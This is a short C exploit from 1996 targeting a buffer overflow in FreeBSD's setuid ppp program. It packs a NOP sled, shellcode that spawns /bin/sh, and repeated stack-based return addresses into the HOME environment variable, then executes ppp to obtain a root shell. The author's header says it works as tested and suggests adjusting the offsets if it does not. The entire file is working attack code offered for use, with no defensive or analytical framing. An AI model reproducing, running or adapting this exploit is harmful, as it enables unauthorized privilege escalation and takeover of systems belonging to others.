/*
 * Exploitation script for the ppp vulnerbility as described by
 * no one to date, this is NOT FreeBSD-SA-96:15. Works on
 * FreeBSD as tested. Mess with the numbers if it doesnt work.
 * 
 *	--Nirva 8/4/96
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE	156	/* size of the bufer to overflow */

#define OFFSET		-290	/* number of bytes to jump after the start
				   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
	char *buf = NULL;
	unsigned long *addr_ptr = NULL;
	char *ptr = NULL;
	char execshell[] =
	"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
	"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
	"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
	"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
   
	int i,j;

	buf = malloc(4096);

	/* fill start of bufer with nops */

	i = BUFFER_SIZE-strlen(execshell);

	memset(buf, 0x90, i);
	ptr = buf + i;

	/* place exploit code into the buffer */

	for(i = 0; i < strlen(execshell); i++) 
		*ptr++ = execshell[i];

	addr_ptr = (long *)ptr;
	for(i=0;i < (104/4); i++)
		*addr_ptr++ = get_esp() + OFFSET;

	ptr = (char *)addr_ptr;
	*ptr = 0;

	setenv("HOME", buf, 1);

	execl("/usr/sbin/ppp", "ppp", NULL);
}